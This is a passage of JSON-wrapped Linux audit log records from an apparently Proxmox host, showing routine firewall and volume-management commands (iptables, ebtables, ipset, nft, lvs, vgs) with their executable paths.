{"@timestamp":1781964985318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.318:63492): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965484894,"@rawstring":"node=pve type=PATH msg=audit(1781965484.894:65798): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.314:63491): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965483169,"@rawstring":"node=pve type=PATH msg=audit(1781965483.169:65797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.308:63490): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965483169,"@rawstring":"node=pve type=PATH msg=audit(1781965483.169:65797): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.303:63489): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965483169,"@rawstring":"node=pve type=PATH msg=audit(1781965483.169:65796): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.298:63488): proctitle=697073657400726573746F7265"} {"@timestamp":1781965483168,"@rawstring":"node=pve type=PATH msg=audit(1781965483.168:65795): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.292:63487): proctitle=\"ip6tables-save\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=PATH msg=audit(1781965483.157:65794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.285:63486): proctitle=\"iptables-save\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=PATH msg=audit(1781965483.157:65794): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.282:63485): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965483157,"@rawstring":"node=pve type=PATH msg=audit(1781965483.157:65793): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.279:63484): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965483156,"@rawstring":"node=pve type=PATH msg=audit(1781965483.156:65792): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.278:63483): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965480489,"@rawstring":"node=pve type=PATH msg=audit(1781965480.489:65791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.278:63482): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965480489,"@rawstring":"node=pve type=PATH msg=audit(1781965480.489:65791): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.274:63481): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965480487,"@rawstring":"node=pve type=PATH msg=audit(1781965480.487:65790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.267:63480): proctitle=\"ip6tables-save\""} {"@timestamp":1781965480487,"@rawstring":"node=pve type=PATH msg=audit(1781965480.487:65790): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.261:63479): proctitle=\"iptables-save\""} {"@timestamp":1781965480485,"@rawstring":"node=pve type=PATH msg=audit(1781965480.485:65789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985256,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.256:63478): proctitle=69707365740073617665"} {"@timestamp":1781965480485,"@rawstring":"node=pve type=PATH msg=audit(1781965480.485:65789): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.249:63477): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PATH msg=audit(1781965478.146:65788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.243:63476): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PATH msg=audit(1781965478.146:65788): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964984.941:63475): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PATH msg=audit(1781965478.146:65787): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964984.905:63474): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PATH msg=audit(1781965478.146:65786): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.371:63473): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PATH msg=audit(1781965478.136:65785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.371:63472): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PATH msg=audit(1781965478.136:65785): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.371:63471): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PATH msg=audit(1781965478.136:65784): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.361:63470): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965478136,"@rawstring":"node=pve type=PATH msg=audit(1781965478.136:65783): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.361:63469): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475478,"@rawstring":"node=pve type=PATH msg=audit(1781965475.478:65782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964981.361:63468): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475478,"@rawstring":"node=pve type=PATH msg=audit(1781965475.478:65782): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.350:63467): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PATH msg=audit(1781965475.473:65781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.350:63466): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PATH msg=audit(1781965475.473:65781): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.350:63465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PATH msg=audit(1781965475.473:65780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.341:63464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PATH msg=audit(1781965475.473:65780): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.341:63463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=PATH msg=audit(1781965475.473:65779): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964976.341:63462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475463,"@rawstring":"node=pve type=PATH msg=audit(1781965475.463:65778): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.232:63461): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965475463,"@rawstring":"node=pve type=PATH msg=audit(1781965475.463:65778): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.229:63460): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965475463,"@rawstring":"node=pve type=PATH msg=audit(1781965475.463:65778): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.228:63459): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475458,"@rawstring":"node=pve type=PATH msg=audit(1781965475.458:65777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.228:63458): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475458,"@rawstring":"node=pve type=PATH msg=audit(1781965475.458:65777): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.225:63457): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475451,"@rawstring":"node=pve type=PATH msg=audit(1781965475.451:65776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.219:63456): proctitle=\"ip6tables-save\""} {"@timestamp":1781965475451,"@rawstring":"node=pve type=PATH msg=audit(1781965475.451:65776): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.213:63455): proctitle=\"iptables-save\""} {"@timestamp":1781965475443,"@rawstring":"node=pve type=PATH msg=audit(1781965475.443:65775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.207:63454): proctitle=\"ip6tables-save\""} {"@timestamp":1781965475443,"@rawstring":"node=pve type=PATH msg=audit(1781965475.443:65775): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.200:63453): proctitle=\"iptables-save\""} {"@timestamp":1781965475437,"@rawstring":"node=pve type=PATH msg=audit(1781965475.437:65774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.197:63452): proctitle=\"ebtables-restore\""} {"@timestamp":1781965475437,"@rawstring":"node=pve type=PATH msg=audit(1781965475.437:65774): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.195:63451): proctitle=\"ebtables-restore\""} {"@timestamp":1781965475431,"@rawstring":"node=pve type=PATH msg=audit(1781965475.431:65772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.191:63450): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965475431,"@rawstring":"node=pve type=PATH msg=audit(1781965475.431:65772): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.185:63449): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965475426,"@rawstring":"node=pve type=PATH msg=audit(1781965475.426:65771): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.181:63448): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965475426,"@rawstring":"node=pve type=PATH msg=audit(1781965475.426:65771): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.176:63447): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965475421,"@rawstring":"node=pve type=PATH msg=audit(1781965475.421:65770): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.171:63446): proctitle=697073657400726573746F7265"} {"@timestamp":1781965475421,"@rawstring":"node=pve type=PATH msg=audit(1781965475.421:65770): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.165:63445): proctitle=\"ip6tables-save\""} {"@timestamp":1781965475415,"@rawstring":"node=pve type=PATH msg=audit(1781965475.415:65769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.160:63444): proctitle=\"iptables-save\""} {"@timestamp":1781965475415,"@rawstring":"node=pve type=PATH msg=audit(1781965475.415:65769): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.155:63443): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965475410,"@rawstring":"node=pve type=PATH msg=audit(1781965475.410:65768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.153:63442): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965475410,"@rawstring":"node=pve type=PATH msg=audit(1781965475.410:65768): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.152:63441): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475405,"@rawstring":"node=pve type=PATH msg=audit(1781965475.405:65767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.152:63440): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475405,"@rawstring":"node=pve type=PATH msg=audit(1781965475.405:65767): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.148:63439): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475399,"@rawstring":"node=pve type=PATH msg=audit(1781965475.399:65766): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.141:63438): proctitle=\"ip6tables-save\""} {"@timestamp":1781965475399,"@rawstring":"node=pve type=PATH msg=audit(1781965475.399:65766): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.135:63437): proctitle=\"iptables-save\""} {"@timestamp":1781965475393,"@rawstring":"node=pve type=PATH msg=audit(1781965475.393:65765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.131:63436): proctitle=69707365740073617665"} {"@timestamp":1781965475393,"@rawstring":"node=pve type=PATH msg=audit(1781965475.393:65765): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.125:63435): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965475388,"@rawstring":"node=pve type=PATH msg=audit(1781965475.388:65764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964975.118:63434): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965475388,"@rawstring":"node=pve type=PATH msg=audit(1781965475.388:65764): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964974.833:63433): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PATH msg=audit(1781965475.380:65763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964974.808:63432): 